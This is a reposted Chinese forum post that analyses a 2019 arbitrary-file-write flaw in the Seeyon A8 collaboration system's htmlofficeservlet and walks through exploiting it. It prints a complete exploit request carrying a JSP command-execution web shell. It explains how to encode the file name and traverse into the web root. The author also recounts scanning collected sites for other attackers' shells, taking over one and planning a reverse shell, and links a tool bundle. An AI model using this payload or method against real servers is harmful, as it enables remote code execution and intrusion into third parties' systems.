转载

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

代码审计

#1

首先这个漏洞在2019-6-26被人爆出,下面是网上爆出来的exp

POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1111
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ip:port
Pragma: no-cache

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"/n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

我一开始拿到这个exp也是一脸懵逼这是啥玩意。代码和文件名称都不能自定义。由于爆出这个漏洞的时候我正在忙于hw所以就没有搞。等hw结束了。我发现别人都搞的差不多了。于是我拿着工具采集了一波致远的站,然后结合御剑扫描了一波别人的shell。扫到是扫到了。有的人把马子的密码也改了,无奈了。好不容易找到一个可以执行cmd命令的。发现不能类似列目录查看。权限也不是很高。

我心里气啊。只能反弹shell了。。然后得用powershell反弹一波。。我这不太擅长。那么什么我最擅长的。执行拿shell把。然后在shelll里面执行各种命令。想着想着就开干。

经过一番调整以后我发现。exp的几个关键点。最后只剩下文件名如何修改了。由于我没有代码所以谈不上阅读源码。所以去tools论坛看到有人发了一个自定义文件名称的java代码。这样就getshell了。

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image.png 1645×895 109 KB

我的任务完成了。

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [1].png 1265×681 82.3 KB

去找classs去研究一下漏洞是怎么产生的那么问题来了。这个目录下啥也没有。去原帖子向大佬请教解密加密文件名的class文件怎么得到的。想吃吃现成的。大佬也没有理我。自己搞吧

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [2].png 697×412 8.15 KB

第一次搞。由于对A8不熟悉。几乎没有搞过。所以想了好久。于是我看了看jsp文件都有import。那么只有一个可能了全搞到了lib目录下了肯定

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [3].png 759×655 60.3 KB

那怎么搞。上大马把这个目录全部打包下来下载下载分析一波。由于网速不行下了好久手机也欠费了。找了一个基友的服务器下载下源码我在用公司的网下载下来。终于下载完毕了。

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [4].png 950×916 60.8 KB

上面扯了一会儿蛋,接下来分析一下这个漏洞

漏洞点在: /seeyon/htmlofficeservlet

那么我们看web.xml里面有没有这个东东。一般审计java这里是入口点

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [5].png 986×691 33.6 KB

那么我们在这些jar包里面找到带有seeyon的包。一个一个找由于我懒上网找了一下

https://baijiahao.baidu.com/s?id=1637627363255074344&wfr=spider&for=pc

漏洞点的java包在这里

seeyon-apps-common.jar

我看了一下他的分析不全面,没有剖析。exp为啥长那样他也没有解释啊。还是我来吧。看下面的代码

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [6].png 1903×993 138 KB

我们复制出来分析一波

package com.seeyon.ctp.common.office;
import DBstep.iMsgServer2000;
import com.seeyon.ctp.common.AppContext;
import com.seeyon.ctp.common.authenticate.domain.User;
import com.seeyon.ctp.util.Strings;
import java.io.File;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
public class HtmlOfficeServlet
  extends HttpServlet
{
  private static Log log = LogFactory.getLog(HtmlOfficeServlet.class);
  
  public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      
      //初始化 系统环境  没什么卵用
    AppContext.initSystemEnvironmentContext(request, response);// 
    
    //根据名称获取handWriteManager对象
    HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager");
    //根据名称获取 htmlHandWriteManager对象
    HtmlHandWriteManager htmlHandWriteManager = (HtmlHandWriteManager)AppContext.getBeanWithoutCache("htmlHandWriteManager");
    
    iMsgServer2000 msgObj = new iMsgServer2000(); //初始化imsgServer 这个是这个处理请求包的关键类,也是解密解密文件名称的整体类 这个遇到的时候分析
  我们往下走
    try {
      handWriteManager.readVariant(request, msgObj); //获取请求包数据
      if (AppContext.currentUserId() == -1L) { //从session里面提前当前用户的id值如果session为空那么重置为开发者模式
        User user = handWriteManager.getCurrentUser(msgObj);
        AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", user);
      }
      msgObj.SetMsgByName("CLIENTIP", Strings.getRemoteAddr(request)); //获取客户端ip
      
      String option = msgObj.GetMsgByName("OPTION");//获取OPTION 的解密内容 SAVEASIMG
      
      if ("LOADFILE".equalsIgnoreCase(option)) {
        handWriteManager.LoadFile(msgObj);
      }
      else if ("LOADSIGNATURE".equalsIgnoreCase(option)) {
        
        htmlHandWriteManager.loadDocumentSinature(msgObj);
      }
      else if ("LOADMARKLIST".equalsIgnoreCase(option)) {
        
        handWriteManager.LoadSinatureList(msgObj);
      }
      else if ("SIGNATRUEIMAGE".equalsIgnoreCase(option)) {
        
        handWriteManager.LoadSinature(msgObj);
      }
      else if ("SAVESIGNATURE".equalsIgnoreCase(option)) {
        
        htmlHandWriteManager.saveSignature(msgObj);
      }
      else if ("SAVEHISTORY".equalsIgnoreCase(option)) {
        
        htmlHandWriteManager.saveSignatureHistory(msgObj);
      }
      else if ("SIGNATRUELIST".equalsIgnoreCase(option)) {
        
        handWriteManager.LoadSinatureList(msgObj);
      }
      else if ("SHOWHISTORY".equalsIgnoreCase(option)) {
        
        htmlHandWriteManager.getSignatureHistory(msgObj);
      } else if ("SAVEASIMG".equalsIgnoreCase(option)) {//匹配到这里了
        String fileName = msgObj.GetMsgByName("FILENAME"); //获取文件名称
        String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath();
        String tempPath = tempFolder + "/base/upload/taohongTemp";
        File folder = new File(tempPath);
        if (!folder.exists()) {
          folder.mkdir();
        }
        msgObj.MsgFileSave(tempPath + "/" + fileName);//文件名称可以控制
      }
      
      handWriteManager.sendPackage(response, msgObj);
    }
    catch (Exception e) {
      log.error("", e);
      msgObj = new iMsgServer2000();
      msgObj.MsgError("htmoffice operate err");
      handWriteManager.sendPackage(response, msgObj);
    }
    AppContext.clearThreadContext();
  }
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); }
}

我们来分析一下这个代码 handWriteManager.readVariant(request, msgObj); //获取请求包数据

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [7].png 1826×948 103 KB

同样代码复制出来

public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
    msgObj.ReadPackage(request); //读取请求包的数据

    //下面紫色的就是exp构造点
    this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID"));
    this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE"));
    
    String _originalFileId = msgObj.GetMsgByName("originalFileId");
    this.needClone = (_originalFileId != null && !"".equals(_originalFileId.trim()));//如果获取到的 originalFileId 不为null 或者不为空字符那么。
    
    this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile"));
    
    if (this.needClone) {
      String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate");
      this.originalFileId = Long.valueOf(_originalFileId);
      this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate);
    }
  }

我们先来分析 这个语句 msgObj.ReadPackage(request); //读取请求包的数据

public byte[] ReadPackage(HttpServletRequest paramHttpServletRequest) {
    int i = 0;
    int j = 0;
    int k = 0;
    
    this.Charset = paramHttpServletRequest.getCharacterEncoding();//获取编码
    
    if (this.Charset == null) {
      this.Charset = paramHttpServletRequest.getHeader("charset");
    }
    
    if (this.Charset == null) {
      this.Charset = "GB2312";
    }
    
    try {
      k = paramHttpServletRequest.getContentLength();//获取整个请求包内容的总长度
      this.FStream = new byte[k];
      while (i < k) {
        paramHttpServletRequest.getInputStream();
        j = paramHttpServletRequest.getInputStream().read(this.FStream, i, k - i);
        
        i += j;

//循环读取请求包
      }


      
      if (this.FError == "") { //如果这个(this.FError==0那么执行这个,那么怎么获取知道这个是不是空字符串呢我们看 iMsgServer2000初始化的时候
        StreamToMsg(); //流转成数据  这个是文件内容解析的重点函数
      }
    }
    catch (Exception exception) {
      
      System.out.println("ReadPackage:" + exception.toString());
    }
    return this.FStream;
  }

if (this.FError == "") { //如果这个 this.FError==0 那么执行这个

那么怎么获取知道这个是不是空字符串呢我们看 iMsgServer2000初始化的时候

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [8].png 1887×951 77.6 KB

看到没有就是这个由于刚刚初始化。在经过这个以前没有经过任何函数所以 this.FError == 条件为空所以进入,这个函数StreamToMsg()

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [9].png 1849×994 63.2 KB

刚看这个函数也是一脸懵逼,这也没有啥控制的我们看看

private boolean StreamToMsg() {
     byte b = 64;
     int i = 0;
     int j = 0;
     int k = 0;
     int m = 0;
     String str1 = "";
     String str2 = "";
     this.FMd5Error = false;
     
     try {
       m = 0;
       String str = new String(this.FStream, m, b);//建立初始字符串长度数据
       this.FVersion = str.substring(0, 15); //字符串版本值截取字符串前15个获取到版本号
       i = Integer.parseInt(str.substring(16, 31).trim());
       j = Integer.parseInt(str.substring(32, 47).trim());
       k = Integer.parseInt(str.substring(48, 63).trim());
       this.FFileSize = k;
       
       m += b;
       if (i > 0) {
         this.FMsgText = new String(this.FStream, m, i);
       }
       
       m += i;
       if (j > 0) {
         this.FError = new String(this.FStream, m, j);
       }
       
       m += j;
       this.FMsgFile = new byte[k];
       
       if (k > 0) {
         for (int n = 0; n < k; n++) {
           this.FMsgFile[n] = this.FStream[n + m];
         }
         m += k;
         if (this.FStream.length >= m + 32) {
           str1 = new String(this.FStream, m, 32);
           
           str2 = MD5Stream(this.FMsgFile);
           
           if (str1.compareToIgnoreCase(str2) != 0) {
             SetMsgByName("DBSTEP", "ERROR");
             this.FMd5Error = true;
           } else {
             
             this.FMd5Error = false;
           }
         }
       }
       
       return true;
     } catch (Exception exception) {
       
       this.FError += exception.toString();
       System.out.println(exception.toString());
       return false;
     }
   }

开头代码有一个这个

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [10].png 1665×441 24.9 KB

仔细看代码你会发现我们可以控制文件名称为啥这么说呢。那我们看这个代码GetMsgByName()

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [11].png 1073×790 32.6 KB

仔细分析上面的代码你会发现这个文件名称是加密的所以我们要构造exp 就要加密文件名当然这个函数。也在iMsgServer2000类里面

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [12].png 1432×1018 60 KB

同样解密的也在这个函数里面

我们退回去看 msgObj.MsgFileSave 我们已经可以控制文件名称了。如果我们要是可以控制文件内容那么。你懂得哈哈哈

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [13].png 1373×884 47.6 KB

我们从上面的截图代码看内容由this.FMsgFile控制。所以我们只要搞到他就可以弄了。回退想我们看到一个函数StreamToMsg

看看这里面有没有这个FMsgFile

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [14].png 1606×968 58.3 KB

看到画红线的没有。这个正事解析请求包的时候弄得。所以可以确定这个函数就就是让我们控制文件内容的。至于怎么构造exp。我来模拟一下

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [15].png 1919×991 186 KB

那么我们调整一下看看。所以根据这个我们 就可以调整构造出属于我们的攻击包

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [16].png 1862×985 194 KB

我们如果这样上传那么就直接上传到这里了这里能访问么,肯定不行不在web根目录下怎么玩

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [17].png 1264×691 44.5 KB

D:/Seeyon/A8/ApacheJetspeed/webapps/seeyon/  目标点

D:/Seeyon/A8/base/upload/taohongTemp/  上传点

所以我们文件名称得跳3级目录接上ApacheJetspeed/webapps/seeyon/

就可以了利用了加上没有对文件名称进行校验。

所以导致可以任意文件写入导致getshell。

根本防御办法控制文件名称白名单方式控制。禁止跳目录。不是什么奇安信的ACL控制。这是waf的暂时修复办法

接下来根据代码审计的和自己本地的环境。来逆推exp构造进行漏洞利用

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [18].png 1664×915 184 KB

访问一下看看报错不。。不报错搞定

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [19].png 1118×552 20.8 KB

接下来上传各种马子把

致远A8协同管理系统0day漏洞深度剖析和漏洞利用

Image [20].png 1340×640 50.8 KB

好了。就分析到这里 90sec首发!!!!

以上涉及到的所有东西全部打包:,当然某些工具除外哈哈哈

https://www.upload.ee/files/10174996/ A80day .zip.html

#2

到这里就没有了吗?好像不全

原文  https://forum.90sec.com/t/topic/205
正文到此结束
Loading...